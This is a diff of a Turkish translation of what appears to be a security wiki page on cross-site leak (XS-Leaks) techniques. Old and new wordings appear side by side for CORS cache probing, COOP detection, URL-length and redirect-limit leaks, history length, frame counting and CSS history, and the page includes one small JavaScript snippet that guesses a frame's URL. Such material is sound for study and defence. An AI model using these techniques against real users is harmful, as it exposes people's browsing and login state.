- **Kod Örneği**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
||||
|
||||
Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.
|
||||
@ -550,10 +550,10 @@ Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin.
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
- **Özet**: Eğer Köken başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür.
|
||||
- **Özet:** Eğer Origin başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Eğer **Köken başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı istismar ederek **CORS** modunda **kaynağı almayı** deneyebilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bunun nedeni **önbellekten erişilmiş olmasıdır** (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle görünür).\
|
||||
Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı** **almaya** çalışabilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bunun nedeni **önbellekten erişilmiş olmasıdır** (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).\
|
||||
Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Access-Control-Allow-Origin: *`), bu çalışmayacaktır.
|
||||
|
||||
## Okunabilir Nitelikler Tekniği
|
||||
@ -566,30 +566,30 @@ Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Acce
|
||||
- **Özet:** GC ve SA, yönlendirme tamamlandıktan sonra yanıtın türünü (opaque-redirect) kontrol etmeye olanak tanır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirme olmuştur.
|
||||
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer bu `opaqueredirect` ile eşitse, yanıt bir yönlendirmedir.
|
||||
|
||||
### COOP
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Header
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||||
- **Özet:** Cross-Origin Opener Policy (COOP) ile korunan sayfalar, cross-origin etkileşimlerden erişimi engeller.
|
||||
- **Özet:** Cross-Origin Opener Policy (COOP) ile korunmuş sayfalar, cross-origin etkileşimlerden erişimi engeller.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına erişmeye çalışarak** belirlenebilir. COOP koşullu olarak uygulandığında, **`opener` niteliği** belirleyici bir gösterge haline gelir: COOP aktif olduğunda **tanımsızdır**, yokluğunda ise **tanımlıdır**.
|
||||
Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına erişmeye çalışarak** tespit edilebilir. COOP koşullu olarak uygulandığında, **`opener` niteliği** belirleyici bir gösterge haline gelir: COOP aktif olduğunda **tanımsızdır**, yokluğunda ise **tanımlıdır**.
|
||||
|
||||
### URL Maksimum Uzunluğu - Sunucu Tarafı
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Fetch API, HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu / İçerik
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü sunucu bir hata ile yanıt verebilir ve bir uyarı oluşturulabilir.
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bu uzunluk sunucunun bir hata ile yanıt vermesine neden olabilir ve bir uyarı oluşturulabilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
Eğer sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların** **istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** **o veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir.
|
||||
Eğer sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür; çünkü genellikle **sunucuların** bir **istek uzunluğu limiti** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** bu **veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir.
|
||||
|
||||
Eğer bir şekilde kullanıcılara çerez ayarlayabiliyorsanız, bu saldırıyı **yeterli çerez ayarlayarak** ([**çerez bombası**](hacking-with-cookies/cookie-bomb.md)) gerçekleştirebilirsiniz; böylece **doğru yanıtın** **artmış boyutu** bir **hata** tetikler. Bu durumda, bu isteği aynı siteden tetiklediğinizde, `<script>` otomatik olarak çerezleri gönderecektir (bu nedenle hataları kontrol edebilirsiniz).\
|
||||
**Çerez bombası + XS-Arama** örneği, bu yazının Amaçlanan çözümünde bulunabilir: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıyı **yeterince çerez ayarlayarak** da gerçekleştirebilirsiniz ([**çerez bombası**](hacking-with-cookies/cookie-bomb.md)) böylece **doğru yanıtın** **artmış boyutu** bir **hata** tetikler. Bu durumda, bu isteği aynı siteden tetiklediğinizde, `<script>` otomatik olarak çerezleri gönderir (bu nedenle hataları kontrol edebilirsiniz).\
|
||||
**Çerez bombası + XS-Search** örneği, bu yazının Beklenen çözümünde bulunabilir: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` veya aynı bağlamda olmak genellikle bu tür bir saldırı için gereklidir.
|
||||
|
||||
@ -598,16 +598,16 @@ Eğer bir şekilde kullanıcılara çerez ayarlayabiliyorsanız, bu saldırıyı
|
||||
- **Dahil Etme Yöntemleri**: Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu / İçerik
|
||||
- **Daha fazla bilgi**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü bir isteğin yönlendirme yanıt uzunluğu çok büyük olabilir.
|
||||
- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit edin, çünkü bu uzunluk bir istekte çok büyük olabilir ve bir fark fark edilebilir.
|
||||
- **Kod Örneği**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
[Chromium belgelerine](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) göre, Chrome'un maksimum URL uzunluğu 2MB'dır.
|
||||
|
||||
> Genel olarak, _web platformu_ URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). _Chrome_, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum **2MB** ile sınırlar.
|
||||
> Genel olarak, _web platformu_ URL'lerin uzunluğu üzerinde sınırlara sahip değildir (ancak 2^31 yaygın bir sınırdır). _Chrome_, pratik nedenlerle ve süreçler arası iletişimde hizmet reddi sorunlarını önlemek için URL'leri maksimum **2MB** uzunluğunda sınırlar.
|
||||
|
||||
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, **2MB'den büyük bir URL ile yönlendirme** yapılması mümkündür. Bu durumda, Chrome **`about:blank#blocked`** sayfasını gösterir.
|
||||
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, **2MB'dan daha büyük bir URL ile yönlendirme** yapılması mümkündür. Bu durumda, Chrome **`about:blank#blocked`** sayfasını gösterir.
|
||||
|
||||
**Belirgin fark**, eğer **yönlendirme** **tamamlandıysa**, `window.origin` bir **hata** fırlatır çünkü bir cross-origin bu bilgiyi erişemez. Ancak, eğer **sınır** **aşıldıysa** ve yüklenen sayfa **`about:blank#blocked`** ise, pencerenin **`origin`** değeri **ebeveynin** değeri olarak kalır, bu da **erişilebilir bir bilgidir.**
|
||||
**Fark edilebilir fark**, eğer **yönlendirme** **tamamlandıysa**, `window.origin` bir **hata** fırlatır; çünkü bir cross-origin bu bilgiyi erişemez. Ancak, eğer **sınır** aşılırsa ve yüklenen sayfa **`about:blank#blocked`** ise, pencerenin **`origin`** değeri **ebeveynin** değeri olarak kalır, bu da **erişilebilir bir bilgidir.**
|
||||
|
||||
**2MB**'ye ulaşmak için gereken tüm ek bilgiler, başlangıç URL'sinde bir **hash** aracılığıyla eklenebilir, böylece **yönlendirmede kullanılacaktır.**
|
||||
|
||||
@ -623,27 +623,27 @@ xs-search/url-max-length-client-side.md
|
||||
- **Özet:** Tarayıcının yönlendirme limitini kullanarak URL yönlendirmelerinin gerçekleşip gerçekleşmediğini belirleyin.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
Eğer bir tarayıcının **izlenecek maksimum** yönlendirme sayısı **20** ise, bir saldırgan **19 yönlendirme** ile kendi sayfasını yüklemeyi deneyebilir ve sonunda **kurbanı** test edilen sayfaya gönderebilir. Eğer bir **hata** tetiklenirse, bu durumda sayfa **kurbanı yönlendirmeye çalışıyordu** demektir.
|
||||
Eğer bir tarayıcının takip etmesi gereken **maksimum** yönlendirme sayısı **20** ise, bir saldırgan **19 yönlendirme** ile kendi sayfasını yüklemeye çalışabilir ve sonunda **kurbanı** test edilen sayfaya yönlendirebilir. Eğer bir **hata** tetiklenirse, bu durumda sayfa **kurbanı yönlendirmeye** çalışıyordur.
|
||||
|
||||
### Geçmiş Uzunluğu
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Yönlendirmeler
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||||
- **Özet:** JavaScript kodu tarayıcı geçmişini manipüle eder ve uzunluk özelliği ile erişilebilir.
|
||||
- **Özet:** JavaScript kodu tarayıcı geçmişini manipüle eder ve bu, uzunluk niteliği ile erişilebilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
**Geçmiş API'si**, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, **bir kullanıcının ziyaret ettiği sayfaları** kaydeder. Bir saldırgan, uzunluk özelliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.\
|
||||
**`history.length`** kontrol edilerek, bir kullanıcı **bir sayfaya** **geçiş yaptığında**, **aynı kökene geri döndüğünde** ve **`history.length`** değerinin yeni değerini kontrol ederek.
|
||||
**Geçmiş API'si**, JavaScript kodunun tarayıcı geçmişini manipüle etmesine olanak tanır; bu, **bir kullanıcının ziyaret ettiği sayfaları kaydeder**. Bir saldırgan, uzunluk niteliğini bir dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML navigasyonunu tespit etmek için.\
|
||||
**`history.length`** kontrol edilerek, bir kullanıcı **bir sayfaya** **geçiş** yaptığında, **aynı kökene geri** döndüğünde ve **`history.length`**'in yeni değerini kontrol ettiğinde.
|
||||
|
||||
### Aynı URL ile Geçmiş Uzunluğu
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: URL, tahmin edilen URL ile aynıysa
|
||||
- **Özet:** Geçmiş uzunluğunu istismar ederek bir çerçevenin/pop-up'ın belirli bir URL'de olup olmadığını tahmin etmek mümkündür.
|
||||
- **Tespit Edilebilir Fark**: Eğer URL tahmin edilenle aynıysa
|
||||
- **Özet:** Bir çerçevenin/pop-up'ın konumunun belirli bir URL'de olup olmadığını tahmin etmek mümkündür; geçmiş uzunluğundan yararlanarak.
|
||||
- **Kod Örneği**: Aşağıda
|
||||
|
||||
Bir saldırgan, JavaScript kodunu kullanarak **çerçevenin/pop-up'ın konumunu tahmin edilen bir URL'ye** **manipüle edebilir** ve **hemen ardından** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve **artış göstermesi için zaman bulduğu** anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, **tahmin edilen URL'yi yüklemeye çalıştığı** ancak hemen ardından **`about:blank`**'i yüklediği için, **geçmiş uzunluğunun asla artmadığı** anlamına gelir.
|
||||
Bir saldırgan, JavaScript kodunu kullanarak çerçevenin/pop-up'ın konumunu **tahmin edilen bir URL'ye** **manipüle edebilir** ve **hemen ardından** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu arttıysa, bu, URL'nin doğru olduğu ve **artış için zaman bulduğu** anlamına gelir; çünkü URL aynıysa yeniden yüklenmez. Eğer artmadıysa, bu, **tahmin edilen URL'yi yüklemeye çalıştığı** anlamına gelir, ancak hemen ardından **`about:blank`**'i yüklediğimiz için, **tahmin edilen URL'yi yüklerken geçmiş uzunluğu asla artmamıştır.**
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -669,8 +669,8 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** `window.length` özelliğini inceleyerek iframe öğelerinin miktarını değerlendirin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
Bir web sayfasında açılan **iframe** veya `window.open` ile açılan **çerçeve sayısı** kullanıcının o sayfadaki **durumunu** belirlemeye yardımcı olabilir.\
|
||||
Ayrıca, sayfa her zaman aynı sayıda çerçeveye sahipse, çerçeve sayısını **sürekli** kontrol etmek, bilgi sızdırabilecek bir **deseni** belirlemeye yardımcı olabilir.
|
||||
`iframe` veya `window.open` ile açılan bir webdeki **çerçeve sayısını** saymak, kullanıcının o sayfadaki **durumunu** belirlemeye yardımcı olabilir.\
|
||||
Ayrıca, eğer sayfada her zaman aynı sayıda çerçeve varsa, çerçeve sayısını **sürekli** kontrol etmek, bilgi sızdırabilecek bir **deseni** belirlemeye yardımcı olabilir.
|
||||
|
||||
Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile **belirlenebilmesidir** çünkü dahili olarak bir `embed` kullanılır. `zoom`, `view`, `page`, `toolbar` gibi içeriği kontrol etmeye izin veren [Açık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) vardır; bu teknik ilginç olabilir.
|
||||
|
||||
@ -682,27 +682,27 @@ Bu tekniğin bir örneği, Chrome'da bir **PDF**'nin **çerçeve sayımı** ile
|
||||
- **Summary:** İki olası durumu ayırt etmek için sızdırılan değeri okuyun.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
HTML elemanları aracılığıyla bilgi sızıntısı, özellikle dinamik medya dosyaları kullanıcı bilgilerine dayalı olarak oluşturulduğunda veya su işaretleri eklendiğinde, medya boyutunu değiştirdiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
|
||||
HTML elemanları aracılığıyla bilgi sızdırılması, özellikle kullanıcı bilgilerine dayalı dinamik medya dosyaları oluşturulduğunda veya su işaretleri eklendiğinde, medya boyutunu değiştirdiğinde web güvenliği açısından bir endişe kaynağıdır. Bu, belirli HTML elemanları tarafından açığa çıkarılan bilgileri analiz ederek olası durumları ayırt etmek için saldırganlar tarafından istismar edilebilir.
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
### HTML Elemanları Tarafından Açığa Çıkan Bilgiler
|
||||
|
||||
- **HTMLMediaElement**: Bu eleman, medyanın `duration` ve `buffered` sürelerini açığa çıkarır; bunlara API'si aracılığıyla erişilebilir. [HTMLMediaElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: `videoHeight` ve `videoWidth` değerlerini açığa çıkarır. Bazı tarayıcılarda, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` ve `webkitDecodedFrameCount` gibi ek özellikler mevcuttur; bu da medya içeriği hakkında daha derinlemesine bilgi sunar. [HTMLVideoElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Bu fonksiyon, video oynatma kalitesi hakkında bilgiler sağlar; `totalVideoFrames` dahil, bu da işlenen video verisinin miktarını gösterebilir. [getVideoPlaybackQuality() hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Bu eleman, bir resmin `height` ve `width` değerlerini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 döner ve `image.decode()` fonksiyonu reddedilir; bu da resmin düzgün bir şekilde yüklenmediğini gösterir. [HTMLImageElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
### CSS Özelliği
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Summary:** Kullanıcının durumu veya durumu ile ilişkili web sitesi stilindeki değişiklikleri belirleyin.
|
||||
- **Summary:** Kullanıcının durumu veya statüsü ile ilişkili web sitesi stilindeki değişiklikleri belirleyin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Web uygulamaları, kullanıcının durumuna bağlı olarak **web sitesi stilini** değiştirebilir. Saldırgan sayfasında **HTML bağlantı elemanı** ile çapraz kökenli CSS dosyaları gömülebilir ve **kurallar** saldırgan sayfasına **uygulanır**. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan kullanıcı durumuna bağlı olarak bu **farklılıkları** **belirleyebilir**.\
|
||||
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS** özelliklerini **okumak için** `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan rastgele CSS özelliklerini okuyabilir.
|
||||
Web uygulamaları, kullanıcının durumuna bağlı olarak **web sitesi stilini** değiştirebilir. Saldırgan sayfasında **HTML bağlantı elemanı** ile çapraz kökenli CSS dosyaları gömülebilir ve **kurallar** saldırgan sayfasına **uygulanır**. Eğer bir sayfa bu kuralları dinamik olarak değiştirirse, bir saldırgan, kullanıcı durumuna bağlı olarak bu **farklılıkları** **belirleyebilir**.\
|
||||
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS** özelliklerini **okumak için** `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.
|
||||
|
||||
### CSS History
|
||||
### CSS Geçmişi
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
@ -713,11 +713,11 @@ Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının **CSS**
|
||||
> [!NOTE]
|
||||
> [**Bu**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) kaynağına göre, bu başsız Chrome'da çalışmıyor.
|
||||
|
||||
CSS `:visited` seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için `getComputedStyle()` yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, bağlantının ziyaret edilmiş gibi görünmesini sağlamak ve `:visited` seçici ile uygulanabilecek stilleri kısıtlamak gibi önlemleri içerir.
|
||||
CSS `:visited` seçici, daha önce kullanıcı tarafından ziyaret edilmiş URL'leri farklı şekilde stilize etmek için kullanılır. Geçmişte, bu stil farklılıklarını belirlemek için `getComputedStyle()` yöntemi kullanılabiliyordu. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu açığa çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, her zaman bağlantının ziyaret edilmiş gibi hesaplanan stilini döndürmeyi ve `:visited` seçici ile uygulanabilecek stilleri kısıtlamayı içerir.
|
||||
|
||||
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS'den etkilenen bir alanla etkileşime girmeye ikna etmeyi içerir; özellikle `mix-blend-mode` özelliğini kullanarak. Bu özellik, öğelerin arka planlarıyla karışmasını sağlar ve kullanıcı etkileşimine bağlı olarak ziyaret edilmiş durumu açığa çıkarabilir.
|
||||
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS ile etkilenen bir alana etkileşime girmeye ikna etmeyi içerir; özellikle `mix-blend-mode` özelliğini kullanarak. Bu özellik, öğelerin arka planlarıyla karışmasını sağlar ve kullanıcı etkileşimine bağlı olarak ziyaret edilmiş durumu açığa çıkarabilir.
|
||||
|
||||
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı oluşturabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda belirtilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir.
|
||||
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render sürelerini istismar ederek tespit sağlanabilir. Tarayıcılar, ziyaret edilmiş ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu render süresinde ölçülebilir bir zaman farkı oluşturabilir. Bir kanıt konsepti (PoC), bu tekniği zaman farkını artırmak için birden fazla bağlantı kullanarak gösteren bir Chromium hata raporunda bahsedilmiştir; böylece ziyaret edilmiş durum zaman analizi ile tespit edilebilir hale gelir.
|
||||
|
||||
Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz atın:
|
||||
|
||||
@ -730,10 +730,10 @@ Bu özellikler ve yöntemler hakkında daha fazla bilgi için belgelerine göz a
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Başlıklar
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** Google Chrome'da, bir sayfa X-Frame-Options kısıtlamaları nedeniyle çapraz kökenli bir sitede gömülmesi engellendiğinde özel bir hata sayfası görüntülenir.
|
||||
- **Summary:** Google Chrome'da, X-Frame-Options kısıtlamaları nedeniyle bir sayfanın çapraz kökenli bir sitede gömülmesi engellendiğinde özel bir hata sayfası görüntülenir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için boş bir belge nesnesi (null yerine) döner; bu, iframe'lerde veya diğer tarayıcılarda böyle değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir; bu, özellikle geliştiricilerin X-Frame-Options başlığını tutarsız bir şekilde ayarladığı durumlarda, kullanıcının durumu hakkında bilgi açığa çıkarabilir. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
|
||||
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömüldüğünde, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için boş bir belge nesnesi (null yerine) döndürür; bu, iframe'lerde veya diğer tarayıcılarda olduğu gibi değildir. Saldırganlar, boş belgeyi tespit ederek bunu istismar edebilir ve kullanıcının durumu hakkında bilgi açığa çıkarabilir; özellikle geliştiriciler X-Frame-Options başlığını tutarsız bir şekilde ayarladıklarında, genellikle hata sayfalarını göz ardı ederler. Güvenlik başlıklarının farkında olmak ve tutarlı bir şekilde uygulanması, bu tür sızıntıları önlemek için kritik öneme sahiptir.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -743,7 +743,7 @@ Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarla
|
||||
- **Summary:** Bir saldırgan, iframe'leri kullanarak dosya indirmelerini ayırt edebilir; iframe'in sürekli erişilebilirliği, dosya indirmenin başarılı olduğunu gösterir.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
`Content-Disposition` başlığı, özellikle `Content-Disposition: attachment`, tarayıcıya içeriği görüntülemek yerine indirmesi talimatını verir. Bu davranış, kullanıcının bir dosya indirmesini tetikleyen bir sayfaya erişip erişmediğini tespit etmek için istismar edilebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik vardır:
|
||||
